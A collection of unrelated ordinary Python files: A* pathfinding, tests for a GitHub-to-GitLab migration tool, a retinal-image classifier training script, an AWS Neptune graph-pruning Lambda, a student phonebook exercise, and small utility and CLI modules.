		priority_queue_track.remove(current)

		if current == end:
			find_shortest_path(came_from, end, draw, start)
			end.make_end()
			draw()
			return True

		for neighbor in current.neighbors:
			temp_g_cost = g_cost[current] + 1

			if temp_g_cost < g_cost[neighbor]:
				came_from[neighbor] = current
				g_cost[neighbor] = temp_g_cost
				f_cost[neighbor] = temp_g_cost + h(neighbor.get_current_position(), end.get_current_position())

				if neighbor not in priority_queue_track:
					cost += 1
					priority_queue.put((f_cost[neighbor], cost, neighbor))
					priority_queue_track.add(neighbor)
					neighbor.make_open()

		draw()

		if current != start:
			current.make_closed()

	return False


# Copyright 2016, RadiantBlue Technologies, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use
# this file except in compliance with the License. You may obtain a copy of the
# License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed
# under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
# CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.

from gh2gl import gh2gl
import os
import requests
import requests_mock

from mock import patch
from nose.tools import assert_raises

def test_argument_parsing():
	# Successful parse
	parsed_args = gh2gl.parse_args(['no_config.yaml', '--apitoken', 'test1234'])
	assert parsed_args.apitoken == 'test1234'
	assert parsed_args.config == 'no_config.yaml'
	parsed_args = gh2gl.parse_args(['no_config.yaml'])
	assert parsed_args.config == 'no_config.yaml'
	assert parsed_args.apitoken == None
	# Errors detected
	assert_raises(BaseException, gh2gl.parse_args, ['--apitoken', 'test1234'])
	assert_raises(BaseException, gh2gl.parse_args, [])

def test_create_repos_invalid_token():
	parsed_args = gh2gl.parse_args(['no_config.yaml'])
	# Mock environment to ensure no Token is set
	with patch.dict('os.environ'):
		assert_raises(KeyError, gh2gl.createrepos, parsed_args)

def test_create_repos_no_file_exists():
	parsed_args = gh2gl.parse_args(['no_config.yaml', '--apitoken', 'test1234'])
	assert_raises(IOError, gh2gl.createrepos, parsed_args)

def test_create_repos_invalid_yaml():
	parsed_args = gh2gl.parse_args(['tests/data/invalid_yaml.yaml', '--apitoken', 'test1234'])
	assert_raises(AttributeError, gh2gl.createrepos, parsed_args)

def test_create_repos_incomplete_yaml():
	parsed_args = gh2gl.parse_args(['tests/data/incomplete_config.yaml', '--apitoken', 'test1234'])
	assert_raises(KeyError, gh2gl.createrepos, parsed_args)
	parsed_args = gh2gl.parse_args(['tests/data/incomplete_config_2.yaml', '--apitoken', 'test1234'])
	assert_raises(KeyError, gh2gl.createrepos, parsed_args)
	parsed_args = gh2gl.parse_args(['tests/data/incomplete_config_3.yaml', '--apitoken', 'test1234'])
	assert_raises(TypeError, gh2gl.createrepos, parsed_args)

def test_create_repos_invalid_url():
	parsed_args = gh2gl.parse_args(['tests/data/invalid_config.yaml', '--apitoken', 'test1234'])
	assert_raises(ValueError, gh2gl.createrepos, parsed_args)

def test_create_repos_invalid_gitlab_id():
	parsed_args = gh2gl.parse_args(['tests/data/invalid_config_2.yaml', '--apitoken', 'test1234'])
	assert_raises(ValueError, gh2gl.createrepos, parsed_args)

def test_create_repos_timeout():
	parsed_args = gh2gl.parse_args(['tests/data/test_config.yaml', '--apitoken', 'test1234'])
	assert_raises(requests.ConnectionError, gh2gl.createrepos, parsed_args)

def test_create_repos_success():
	parsed_args = gh2gl.parse_args(['tests/data/test_config.yaml', '--apitoken', 'test1234'])
	# Mock a successful HTTP Response
	with requests_mock.mock() as mock:
		mock.post('http://1.2.3.4.5/api/v3/projects', text='success')
		gh2gl.createrepos(parsed_args)


import numpy as np  # linear algebra
import pandas as pd  # data processing, CSV file I/O (e.g. pd.read_csv)
import os
import time
import random
from contextlib import contextmanager
from adabelief_pytorch import AdaBelief
import functools
from omegaconf import OmegaConf
from sklearn.model_selection import StratifiedKFold, GroupKFold, KFold
from collections import defaultdict, Counter
import sys
from tqdm import tqdm
from typing import Tuple
from torch.utils.data import Dataset
from torch.utils.data.dataloader import DataLoader
# from pytorch_lightning.metrics.functional.classification import auroc
import cv2
from pytorch_lightning import LightningDataModule
from sklearn import model_selection
import albumentations as A
from sklearn.metrics import roc_auc_score, accuracy_score, average_precision_score, precision_score
from pytorch_lightning.core.lightning import LightningModule

from albumentations import (
    Compose, OneOf, Normalize, Resize, RandomResizedCrop, RandomCrop, HorizontalFlip, VerticalFlip,
    RandomBrightness, RandomContrast, RandomBrightnessContrast, Rotate, ShiftScaleRotate, Cutout,
    IAAAdditiveGaussianNoise, Transpose, CLAHE, MultiplicativeNoise, IAASharpen
)
from torch.autograd import Variable
from iterstrat.ml_stratifiers import MultilabelStratifiedKFold

from albumentations.pytorch import ToTensorV2
from albumentations import ImageOnlyTransform
import matplotlib.pyplot as plt
from pathlib import Path
# import timm
from google.cloud import storage
from torchvision import models
import torch.nn as nn
from torch.nn import functional as F
import torch
from torch.nn.parameter import Parameter
# from torch.optim import Adam, SGD
from torch.optim.lr_scheduler import CosineAnnealingWarmRestarts, CosineAnnealingLR, ReduceLROnPlateau
import pytorch_lightning as pl
import torch.optim as optim
from src.optimizer import get_optimizer
from src.loss import get_criterion
from pytorch_lightning.callbacks import LearningRateMonitor, ModelCheckpoint
from pytorch_lightning.loggers import WandbLogger
from pytorch_lightning.metrics import AveragePrecision
from pytorch_lightning.metrics.functional import average_precision
import wandb
import warnings

warnings.simplefilter('ignore')
sys.path.append("../pytorch-image-models")
import timm
from timm.utils.agc import adaptive_clip_grad

train = pd.read_csv('../data/Training_Set/RFMiD_Training_Labels.csv')
extra = pd.read_csv("../extra/use_df.csv").iloc[:0, :]
extra["fold"] = -1
test = train.iloc[:640, :]
# test = pd.read_csv('../data/sample_submission.csv')
rand = random.randint(0, 100000)

device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

def sigmoid(x):
    return 1 / (1 + np.exp(-x))

def seed_torch(seed=42):
    random.seed(seed)
    os.environ['PYTHONHASHSEED'] = str(seed)
    np.random.seed(seed)
    torch.manual_seed(seed)
    torch.cuda.manual_seed(seed)
    torch.backends.cudnn.deterministic = True

def multi_disease_avg_score(y_true: np.ndarray, y_pred: np.ndarray):
    map_score = average_precision_score(y_true=y_true, y_score=y_pred, average=None)
    map_score = np.nan_to_num(map_score, nan=0.0).mean()

    scores = []
    for i in range(len(y_true[0])):
        if y_true[:, i].mean() > 0.0:
            auc = roc_auc_score(y_true=y_true[:, i], y_score=y_pred[:, i])
            scores.append(auc)
        else:
            scores.append(0.0)
    auc_score = np.mean(scores)
    return 0.5 * map_score + 0.5 * auc_score

# ====================================================
# Transforms
# ====================================================
def get_transforms(img_size, data):
    if data == 'train':
        return Compose([
            Resize(img_size, img_size),
            # RandomResizedCrop(img_size, img_size, scale=(0.85, 1.0)),
            # CLAHE(clip_limit=(1, 4), p=1),
            # MultiplicativeNoise(p=1),
            # IAASharpen(p=1),
            HorizontalFlip(p=0.5),
            Normalize(
                mean=[0.485, 0.456, 0.406],
                std=[0.229, 0.224, 0.225],
            ),
            IAAAdditiveGaussianNoise(),
            ToTensorV2(),
        ])

    elif data == 'valid':
        return Compose([
            Resize(img_size, img_size),
            Normalize(
                mean=[0.485, 0.456, 0.406],
                std=[0.229, 0.224, 0.225],
            ),
            ToTensorV2(),
        ])

# ====================================================
# Dataset
# ====================================================
class TrainDataset(Dataset):
    def __init__(self, cfg, df, transform=None, inference=False):
        self.cfg = cfg
        self.df = df
        self.file_names = df['ID'].values
        # target_cols = # df.drop(columns=["ID", "fold"]).columns if target_cols == "all" else target_cols
        self.labels = df[cfg.base.target_cols].values
        self.transform = transform
        self.inference = inference

    def __len__(self):
        return len(self.df)

    def __getitem__(self, idx):
        file_name = self.file_names[idx]
        if "right" in str(file_name) or "left" in str(file_name):
            file_path = f'{self.cfg.base.extra_path}/{file_name}.png'
        else:
            file_path = f'{self.cfg.base.train_path}/{file_name}.png'
        image = cv2.imread(file_path)
        # image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
        try:
            image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
        except:
            print(file_path)

        if self.transform:
            augmented = self.transform(image=image)
            image = augmented['image']

        label = torch.tensor(self.labels[idx]).float()

        if self.inference:
            return image
        else:
            return image, label

class TestDataset(Dataset):
    def __init__(self, cfg, df, transform=None):
        self.cfg = cfg
        self.df = df
        self.file_names = df['ID'].values
        self.transform = transform

    def __len__(self):
        return len(self.df)

    def __getitem__(self, idx):
        file_name = self.file_names[idx]
        file_path = f'{self.cfg.base.test_path}/{file_name}.png'
        image = cv2.imread(file_path)
        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
        if self.transform:
            augmented = self.transform(image=image)
            image = augmented['image']
        return image

class CHIZUDataModule(LightningDataModule):
    def __init__(
            self,
            cfg,
            train_df,
            val_df,
            aug_p: float = 0.5,
            val_pct: float = 0.2,
            img_sz: int = 224,
            batch_size: int = 64,
            num_workers: int = 4,
            fold_id: int = 0,
    ):
        super().__init__()
        self.cfg = cfg
        self.aug_p = aug_p
        self.val_pct = val_pct
        self.img_sz = img_sz
        self.batch_size = batch_size
        self.num_workers = num_workers
        self.fold_id = fold_id

        self.train_df = train_df
        self.val_df = val_df

    def train_dataloader(self):
        train_dataset = TrainDataset(self.cfg, self.train_df,
                                     transform=get_transforms(self.img_sz, data="train"))

        return DataLoader(
            train_dataset,
            batch_size=self.batch_size,
            num_workers=self.num_workers,
            shuffle=True,
            pin_memory=True,
            drop_last=True
        )

    def val_dataloader(self):
        valid_dataset = TrainDataset(self.cfg, self.val_df,
                                     transform=get_transforms(self.img_sz, data="valid"))
        return DataLoader(
            valid_dataset,
            batch_size=self.batch_size,
            num_workers=self.num_workers,
            shuffle=False,
            pin_memory=True,
            drop_last=False
        )

def gem(x, p=3, eps=1e-6):
    return F.avg_pool2d(x.clamp(min=eps).pow(p), (x.size(-2), x.size(-1))).pow(1. / p)

class GeM(nn.Module):
    def __init__(self, p=3, eps=1e-6):
        super(GeM, self).__init__()
        self.p = Parameter(torch.ones(1) * p)
        self.eps = eps

    def forward(self, x):
        return gem(x, p=self.p, eps=self.eps)

    def __repr__(self):
        return self.__class__.__name__ + '(' + 'p=' + '{:.4f}'.format(self.p.data.tolist()[0]) + ', ' + 'eps=' + str(
            self.eps) + ')'

__SPLITS__ = {
    "MultilabelStratifiedKFold": MultilabelStratifiedKFold
}

def get_scheduler(cfg, optimizer):
    scheduler_name = cfg.scheduler.name

    if scheduler_name is None:
        return
    else:
        return optim.lr_scheduler.__getattribute__(scheduler_name)(optimizer, **cfg.scheduler.param)

def get_split(cfg):
    if hasattr(model_selection, cfg.split.name):
        return model_selection.__getattribute__(cfg.split.name)(**cfg.split.param)
    elif __SPLITS__.get(cfg.split.name) is not None:
        return __SPLITS__[cfg.split.name](**cfg.split.param)
    else:
        raise NotImplementedError

class sub_loss(nn.Module):
    def __init__(self):
        super().__init__()

    def forward(self, outputs, labels):
        if labels.sum() == 0:
            return 1
        else:
            outputs = torch.sigmoid(outputs)
            score = np.nan_to_num(
                average_precision_score(labels.cpu().detach().numpy(), outputs.cpu().detach().numpy(), average=None),
                nan=0.0).mean()
            loss = torch.tensor(1 - score, requires_grad=True)
            return loss

class CHIZUModel(LightningModule):
    def __init__(self, cfg):
        super().__init__()

        self.cfg = cfg
        self.wd = 1e-6
        self.model_name = cfg.model.model_name
        self.model = timm.create_model(cfg.model.model_name, pretrained=cfg.model.pretrained)

        if "nfnet" in self.model_name:
            # n_features = self.model.num_classes
            n_features = self.model.num_features
            self.model.head.fc = nn.Linear(n_features, cfg.base.target_size)
        elif "efficient" not in self.model_name:
            n_features = self.model.fc.in_features
            self.model.fc = nn.Linear(n_features, cfg.base.target_size)
        else:
            self.model.classifier = nn.Linear(self.model.num_features, cfg.base.target_size)

        if self.cfg.model.gem:
            self.model.avg_pool = GeM()

        self.optimizer = get_optimizer(cfg, self.model)
        self.scheduler = get_scheduler(cfg, self.optimizer)
        self.criterion = get_criterion(cfg)
        self.sigmoid = nn.Sigmoid()
        # self.sub_loss = nn.BCEWithLogitsLoss()
        # self.ap = AveragePrecision(num_classes=cfg.base.target_size)
        # self.ap_list = [AveragePrecision(num_classes=1) for _ in range(cfg.base.target_size)]

    def forward(self, x):
        x = self.model(x)
        # x = self.sigmoid(x)
        return x

    def training_step(self, batch, batch_idx):
        x, y = batch
        y_hat = self(x)
        loss = self.criterion(y_hat, y)
        # sub_loss = self.sub_loss(y_hat, y)

        # for j in range(self.cfg.base.target_size):
        #     if j == 0:
        #         sub_loss = 1 - self.ap_list[j](torch.sigmoid(y_hat[:, j]), y[:, j])
        #     else:
        #         loss_ = 1 - self.ap_list[j](torch.sigmoid(y_hat[:, j]), y[:, j])
        #         loss_[loss_ != loss_] = 0
        #         sub_loss += loss_
        #
        # loss = loss * 0.5 + sub_loss * 0.5
        # self.log("train_loss", loss, prog_bar=True)
        return loss

    def validation_step(self, batch, batch_idx):
        x, y = batch
        y_hat = self(x)
        loss = self.criterion(y_hat, y)
        # sub_loss = self.sub_loss(y_hat, y)
        # loss = loss * 0.5 + sub_loss * 0.5

        # self.log("valid_loss", loss, prog_bar=True)
        return loss, y_hat.cpu().numpy(), y.cpu().numpy()

    def validation_epoch_end(self, input_):
        auc_l = 0
        acc_l = 0
        acc_f = 0
        # map_l = 0
        for j in range(self.cfg.base.target_size):
            loss_list, y_hat_list, y_list = np.array([]), np.array([]), np.array([])
            for i, (loss, y_hat, y) in enumerate(input_):
                # y_hat_list = np.append(y_hat_list, y_hat.argmax(1))
                y_hat_list = np.append(y_hat_list, y_hat[:, j])
                y_list = np.append(y_list, y[:, j])

            y_hat_list = sigmoid(y_hat_list)
            try:
                auc = roc_auc_score(y_list, y_hat_list)
            except ValueError:
                auc = 0
            acc = accuracy_score(y_list, np.round(y_hat_list))
            # ap = precision_score(y_list, np.round(y_hat_list), average="macro")
            auc_l += auc / self.cfg.base.target_size
            acc_l += acc / self.cfg.base.target_size
            # map_l += ap / self.cfg.base.target_size

            num = "{0:02d}".format(j + 1)
            if j == 0:
                self.log(f"{self.cfg.base.target_cols[j]}-auc", auc, prog_bar=True)
            else:
                self.log(f"{self.cfg.base.target_cols[j]}-auc", auc, prog_bar=False)

            if j == 0:
                auc_f = auc

        for i, (loss, y_hat, y) in enumerate(input_):
            loss_list = np.append(loss_list, float(loss.cpu()))

        self.log("valid_loss", loss_list.mean(), prog_bar=True)
        self.log("valid auc", auc_l, prog_bar=True)

        all_pred, all_true = np.empty((0, self.cfg.base.target_size), dtype=int), np.empty(
            (0, self.cfg.base.target_size), dtype=int)
        for i, (loss, y_hat, y) in enumerate(input_):
            # y_hat_list = np.append(y_hat, y_hat.argmax(1))
            all_pred = np.append(all_pred, y_hat, axis=0)
            all_true = np.append(all_true, y, axis=0)

        map = average_precision_score(all_true, np.round(all_pred), average=None)
        map = np.nan_to_num(map, nan=0.0)
        for j in range(self.cfg.base.target_size):
            self.log(f"{self.cfg.base.target_cols[j]}-map", map[j], prog_bar=False)

    """
    loss_list, all_pred, all_true = np.empty((0, self.cfg.base.target_size), dtype=int),np.empty((0, self.cfg.base.target_size), dtype=int),np.empty((0, self.cfg.base.target_size), dtype=int)
    for i, (loss, y_hat, y) in enumerate(input_):
        # y_hat_list = np.append(y_hat, y_hat.argmax(1))
        all_pred = np.append(all_pred, y_hat, axis=0)
        all_true = np.append(all_true, y, axis=0)

    """

    def configure_optimizers(self):
        optimizer = self.optimizer
        scheduler = self.scheduler

        return [optimizer], [scheduler]

    def optimizer_step(self, current_epoch, batch_nb, optimizer, optimizer_idx, cloosure, second_order_closure=None,
                       on_tpu=False,
                       using_native_amp=False, using_lbfgs=False):
        adaptive_clip_grad(self.model.parameters(), clip_factor=0.01, eps=1e-3, norm_type=2.0)
        optimizer.step(closure=cloosure)
        optimizer.zero_grad()

class SAMModel(CHIZUModel):
    def __init__(self, cfg):
        super().__init__(cfg)

    def optimizer_step(self, epoch, batch_idx, optimizer, optimizer_idx,
                       optimizer_closure, on_tpu, using_native_amp, using_lbfgs):
        optimizer.first_step(closure=optimizer_closure, zero_grad=True)
        optimizer.second_step(closure=optimizer_closure, zero_grad=True)

def test_inf(cfg, dataset, model, model_path):
    model = model.load_from_checkpoint(model_path, cfg=cfg, model_name=cfg.model.model_name).to(device)
    model.freeze()
    model.eval()
    test_loader = DataLoader(
        dataset,
        batch_size=cfg.model.batch_size,
        num_workers=cfg.base.num_workers,
        shuffle=False,
        pin_memory=True,
        drop_last=False
    )

    for i, img in tqdm(enumerate(test_loader)):
        y_hat = model(img.to(device))
        if i == 0:
            pred = y_hat.cpu().numpy()
        else:
            pred = np.append(pred, y_hat.cpu().numpy(), axis=0)

    pred = sigmoid(pred)

    return pred

def train_loop(cfg, folds, fold):
    if cfg.wandb.use:
        wandb.init(
            name=cfg.wandb.name + f"-fold-{fold}-{rand}",
            project=cfg.wandb.project,
            tags=cfg.wandb.tags + [str(rand)],
            reinit=True
        )
        wandb_logger = WandbLogger(
            name=cfg.wandb.name + f"-fold-{fold}-{rand}",
            project=cfg.wandb.project,
            tags=cfg.wandb.tags + [str(rand)]
        )
        wandb_logger.log_hyperparams(dict(cfg))
        wandb_logger.log_hyperparams(dict({"rand": rand, "fold": fold, }))

    trn_idx = folds[folds['fold'] != fold].index
    val_idx = folds[folds['fold'] == fold].index

    train_folds = folds.loc[trn_idx].reset_index(drop=True)
    valid_folds = folds.loc[val_idx].reset_index(drop=True)

    train_folds = pd.concat(
        [
            train_folds,
            extra
        ],
        # axis=1
    )

    data_module = CHIZUDataModule(
        cfg,
        train_folds,
        valid_folds,
        aug_p=0.5,
        img_sz=cfg.model.size,
        batch_size=cfg.model.batch_size,
        num_workers=cfg.base.num_workers,
        # fold_id=fold,
    )
    if cfg.optimizer.name == "SAM":
        model = SAMModel(
            cfg
        )
    else:
        model = CHIZUModel(
            cfg
        )

    checkpoint_callback = ModelCheckpoint(
        dirpath=f'../exp9/{rand}',
        filename=f"fold-{fold}",
        # save_top_k=3,
        mode='min',
    )

    trainer = pl.Trainer(
        gpus=-1,
        max_epochs=cfg.model.epochs,
        gradient_clip_val=0.1,
        precision=16,
        logger=wandb_logger if "wandb_logger" in locals() else None,
        callbacks=[checkpoint_callback]
    )

    trainer.fit(model=model, datamodule=data_module)
    model_path = checkpoint_callback.best_model_path

    test_set = TestDataset(
        cfg,
        test,
        get_transforms(
            cfg.model.size,
            "valid"
        )
    )
    pred = test_inf(cfg, test_set, model, model_path)
    oof = None

    if cfg.base.oof:
        val_set = TrainDataset(
            cfg,
            valid_folds,
            get_transforms(
                cfg.model.size,
                "valid"
            ),
            inference=True
        )
        oof = test_inf(cfg, val_set, model, model_path)
    return pred, oof

def main(cfg):
    seed_torch(seed=cfg.base.seed)

    folds = train.copy()
    Fold = get_split(cfg)
    for n, (train_index, val_index) in enumerate(Fold.split(folds, folds[cfg.base.target_cols])):
        folds.loc[val_index, 'fold'] = int(n)
    folds['fold'] = folds['fold'].astype(int)

    oof_df = train.copy()
    test_pred = test.copy()
    test_pred.iloc[:, 1:] = 0

    for fold in range(cfg.base.n_fold):
        if fold in cfg.base.trn_fold:
            fold_pred, fold_oof = train_loop(cfg, folds, fold)
            if cfg.base.oof:
                oof_df.iloc[folds["fold"] == fold, 1:] = fold_oof

            test_pred[list(cfg.base.target_cols)] += fold_pred / len(cfg.base.trn_fold)

    test_pred[["ID"] + list(cfg.base.target_cols)].to_csv(
        f"../exp9/{rand}/{rand}_{cfg.base.n_fold}_{len(cfg.base.trn_fold)}.csv", index=False)
    # oof_df.to_csv(f"../exp2/{rand}/{rand}_oof.csv", index=False)

if __name__ == "__main__":
    main(OmegaConf.load("../yaml/9.yaml"))


#!/usr/bin/env python3
"""Remove graphs matching a given name which are older than n minutes."""
from datetime import datetime

from altimeter.core.log import LogEvent, Logger
from altimeter.core.awslambda import get_required_lambda_env_var
from altimeter.core.neptune.client import AltimeterNeptuneClient, NeptuneEndpoint, META_GRAPH_NAME

def lambda_handler(event, context):
    host = get_required_lambda_env_var("NEPTUNE_HOST")
    port = get_required_lambda_env_var("NEPTUNE_PORT")
    region = get_required_lambda_env_var("NEPTUNE_REGION")
    max_age_min = get_required_lambda_env_var("MAX_AGE_MIN")
    graph_name = get_required_lambda_env_var("GRAPH_NAME")
    try:
        max_age_min = int(max_age_min)
    except ValueError as ve:
        raise Exception(f"env var MAX_AGE_MIN must be an int: {ve}")
    now = int(datetime.now().timestamp())
    oldest_acceptable_graph_epoch = now - max_age_min * 60

    endpoint = NeptuneEndpoint(host=host, port=port, region=region)
    client = AltimeterNeptuneClient(max_age_min=max_age_min, neptune_endpoint=endpoint)
    logger = Logger()

    uncleared = []

    # first prune metadata - if clears below are partial we want to make sure no clients
    # consider this a valid graph still.
    logger.info(event=LogEvent.PruneNeptuneMetadataGraphStart)
    client.clear_old_graph_metadata(name=graph_name, max_age_min=max_age_min)
    logger.info(event=LogEvent.PruneNeptuneMetadataGraphEnd)
    # now clear actual graphs
    with logger.bind(neptune_endpoint=endpoint):
        logger.info(event=LogEvent.PruneNeptuneGraphsStart)
        for graph_metadata in client.get_graph_metadatas(name=graph_name):
            assert graph_metadata.name == graph_name
            graph_epoch = graph_metadata.end_time
            with logger.bind(graph_uri=graph_metadata.uri, graph_epoch=graph_epoch):
                if graph_epoch < oldest_acceptable_graph_epoch:
                    logger.info(event=LogEvent.PruneNeptuneGraphStart)
                    try:
                        client.clear_graph(graph_uri=graph_metadata.uri)
                        logger.info(event=LogEvent.PruneNeptuneGraphEnd)
                    except Exception as ex:
                        logger.error(
                            event=LogEvent.PruneNeptuneGraphError,
                            msg=f"Error pruning graph {graph_metadata.uri}: {ex}",
                        )
                        uncleared.append(graph_metadata.uri)
                        continue
                else:
                    logger.info(event=LogEvent.PruneNeptuneGraphSkip)
        logger.info(event=LogEvent.PruneNeptuneGraphsEnd)
        if uncleared:
            msg = f"Errors were found pruning {uncleared}."
            logger.error(event=LogEvent.PruneNeptuneGraphsError, msg=msg)
            raise Exception(msg)


#  В программе phone_book (https://github.com/onemoresunday/python/blob/master/phone_book.py) реализовать следующие функции:
# find_entry_age_phonebook 		# найти все записи с указанным возрастом
# print_phonebook_by_age		# распечатать все записи отсортированные по возрасту
# delete_entry_name_phonebook	# найти все записи с указанным именем
# print_avr_age				# распечатать средний возраст всех абонентов
# increase_age				# увеличить возраст всем абонентам на заданное пользователем кол-во лет
# <ваша_функция>				# добавить любую функцию, манипулирующую записями (печать, добавление, удаление) в телефонной книге на ваше усмотрение.
# добавить поддержку еще одного поля (например, скайп, адрес, день рождения) и сделайте по нему поиск и печать. Т.е. добавить функцию для поиска и обновить существующую функцию печати.
#
# 	При выполнении обратите внимание на обработку ошибок. Например, если при удалении записи с заданным именем нет, то вывести сообщение “Not found!”.

import pickle

phone_book = [
              {"name": "Petr", "surname": "Petrov", "age": 50, "phone_number":"+380501234567"},
              {"name": "Ivan", "surname": "Ivanov", "age": 15, "phone_number":"+380507654321"},
              {"name": "Fedor", "surname": "Fedorov", "age": 50, "phone_number":"+380671234567"},
              {"name": "Vasyl", "surname": "Vasyliev", "age": 15, "phone_number":"+380937654321"},
             ]

def print_entry(number, entry):
    print ("--[ %s ]--------------------------" % number)
    print ("| Surname: %20s |" % entry["surname"])
    print ("| Name:    %20s |" % entry["name"])
    print ("| Age:     %20s |" % entry["age"])
    print ()

def print_phonebook():
    print ()
    print ()
    print ("#########  Phone book  ##########")
    print ()

    number = 1
    for entry in phone_book:
        print_entry(number, entry)
        number += 1

def print_phonebook_by_age():
    idx = 1
    for age in range(1, 100):
        for entry in phone_book:
            if entry['age'] == age:
                print_entry(idx, entry)
                idx += 1

def add_entry_phonebook(surname, name, age):
    entry = {}
    entry["surname"] = surname
    entry["name"] = name
    entry["age"] = age
    phone_book.append(entry)

def printError(message):
    print ("ERROR: %s" % message)

def printInfo(message):
    print ("INFO: %s" % message)

def find_entry_name_phonebook(name):
    idx = 1
    found = False
    for entry in phone_book:
        if entry["name"] == name:
            print_entry(idx, entry)
            idx += 1
            found = True
    if not found:
        printError("Not found!!")

def find_entry_age_phonebook(age):
    idx = 1
    found = False
    for entry in phone_book:
        if entry["age"] == int(age):
            print_entry(idx, entry)
            idx += 1
            found = True
    if not found:
        printError("Not found!")
    pass

def delete_entry_name_phonebook(name):
    for entry in phone_book:
        if entry['name'] == str(name):
            phone_book.remove(entry)

def count_all_entries_in_phonebook():
    print ("Total number of entries: ", len(phone_book))

def print_avr_age():
    idx = 0
    total_age = 0
    for entry in phone_book:
        total_age += int(entry['age'])
        idx += 1
    print(total_age/idx)

def increase_age(number_of_years):
    for entry in phone_book:
        entry['age'] += number_of_years

def add_new_data_field(name, new_data_field_name, new_data_value):
    for entry in phone_book:
        if entry['name'] == name:
            entry [new_data_field_name] = new_data_value
    print(phone_book)

def save_to_file():
    pickle.dump(phone_book, open("phone_book.save", "wb"))
    printInfo("Phonebook is saved into 'phone_book.save'")

def load_from_file():
    global phone_book
    phone_book = pickle.load(open("phone_book.save", "rb"))
    printInfo("Phonebook is loaded from 'phone_book.save'")

def main():
    while True:
        user_input = ""
        try:
            print ()
            print ()
            print ()
            print ("~ Welcome to phonebook ~")
            print ("Select one of actions below:")
            print ("     1 - Print phonebook entries")
            print ("     2 - Print phonebook entries (by age)")
            print ("     3 - Add new entry")
            print ("     4 - Find entry by name")
            print ("     5 - Find entry by age")
            print ("     6 - Delete entry by name")
            print ("     7 - The number of entries in the phonebook")
            print ("     8 - Avr. age of all persons")
            print ("     9 - Increase age by num. of years")
            print ("     10 - Add new entry data")
            print ("-----------------------------")
            print ("     s - Save to file")
            print ("     l - Load from file")
            print ("     0 - Exit")

            user_input = input("Enter you choice: ")
            choice = int(user_input)

            if choice == 1:
                print_phonebook()
            elif choice == 2:
                print_phonebook_by_age()
            elif choice == 3:
                surname = str(input("    Enter surname: "))
                name = str(input("    Enter name: "))
                age = int(input("    Enter age: "))
                add_entry_phonebook(surname, name, age)
            elif choice == 4:
                name = str(input("    Enter name: "))
                find_entry_name_phonebook(name)
            elif choice == 5:
                age = int(input("    Enter age: "))
                find_entry_age_phonebook(age)
            elif choice == 6:
                name = str(input("    Enter name: "))
                delete_entry_name_phonebook(name)
            elif choice == 7:
                count_all_entries_in_phonebook()
            elif choice == 8:
                print_avr_age()
            elif choice == 9:
                nmbrs_of_years = int(input("    Enter number of years to add to current ages: "))
                increase_age(nmbrs_of_years)
            elif choice == 10:
                name = str(input("    Enter name: "))
                new_data_field_name = str(input('     Enter new data field descrip'))
                new_data_value = str(input('     Enter new data field value'))
                add_new_data_field(name, new_data_field_name, new_data_value)
            elif choice == 0:
                print ("Bye!")
                break
            else:
                print ("Enter action within range [0..9]")

        except ValueError:
            if str(user_input) == 's':
                save_to_file()
            elif str(user_input) == 'l':
                load_from_file()
            else:
                printError("Something went wrong. Try again...")

if __name__ == '__main__':
    main()


#!/usr/bin/python

def outlierCleaner(predictions, ages, net_worths):
    """
        Clean away the 10% of points that have the largest
        residual errors (difference between the prediction
        and the actual net worth).

        Return a list of tuples named cleaned_data where
        each tuple is of the form (age, net_worth, error).
    """
    import pandas as pd

    cleaned_data = []

    ### your code goes here
    df = pd.DataFrame(ages, columns=['ages'])
    df['net_worths'] = net_worths
    df['predictions'] = predictions
    df['error'] = abs(predictions-net_worths)
    df = df.sort_values('error')
    df = df.reset_index()

    df = df.head(round(len(df)*0.9))

    for row in range(0, len(df)):
        cleaned_data.append((df['ages'][row], df['net_worths'][row], df['error'][row]))

    return cleaned_data


import csv
import time

filename = 'localstorage.csv'

class LocalStorage:
	def getAll(self):
		file = open(filename, 'r+b')

		reader = csv.reader(file)
		entries = []
		for row in reader:
			entries.append(row)
		file.close()

		return entries

	def store(self, mode, token):
		file = open(filename, 'a')
		writer = csv.writer(file, delimiter=',',
                            quotechar='|', quoting=csv.QUOTE_MINIMAL)
		writer.writerow([mode, token, int(round(time.time() * 1000))])

	def clear(self):
		open(filename, 'w').close()


import os
import signal
import sys
from functools import wraps
from subprocess import PIPE, Popen

import dcoscli
import docopt
import pkg_resources
from dcos import auth, constants, emitting, errors, http, subcommand, util
from dcos.errors import DCOSException
from dcoscli import analytics

emitter = emitting.FlatEmitter()

def main():
    try:
        return _main()
    except DCOSException as e:
        emitter.publish(e)
        return 1

def _main():
    signal.signal(signal.SIGINT, signal_handler)

    args = docopt.docopt(
        _doc(),
        version='dcos version {}'.format(dcoscli.version),
        options_first=True)

    log_level = args['--log-level']
    if log_level and not _config_log_level_environ(log_level):
        return 1

    if args['--debug']:
        os.environ[constants.DCOS_DEBUG_ENV] = 'true'

    util.configure_process_from_environ()

    if args['<command>'] != 'config' and \
       not auth.check_if_user_authenticated():
        auth.force_auth()

    config = util.get_config()
    set_ssl_info_env_vars(config)

    command = args['<command>']
    http.silence_requests_warnings()

    if not command:
        command = "help"

    executable = subcommand.command_executables(command)

    subproc = Popen([executable,  command] + args['<args>'],
                    stderr=PIPE)
    if dcoscli.version != 'SNAPSHOT':
        return analytics.wait_and_track(subproc)
    else:
        return analytics.wait_and_capture(subproc)[0]

def _doc():
    """
    :rtype: str
    """
    return pkg_resources.resource_string(
        'dcoscli',
        'data/help/dcos.txt').decode('utf-8')

def _config_log_level_environ(log_level):
    """
    :param log_level: Log level to set
    :type log_level: str
    :returns: True if the log level was configured correctly; False otherwise.
    :rtype: bool
    """

    log_level = log_level.lower()

    if log_level in constants.VALID_LOG_LEVEL_VALUES:
        os.environ[constants.DCOS_LOG_LEVEL_ENV] = log_level
        return True

    msg = 'Log level set to an unknown value {!r}. Valid values are {!r}'
    emitter.publish(msg.format(log_level, constants.VALID_LOG_LEVEL_VALUES))

    return False

def signal_handler(signal, frame):
    emitter.publish(
        errors.DefaultError("User interrupted command with Ctrl-C"))
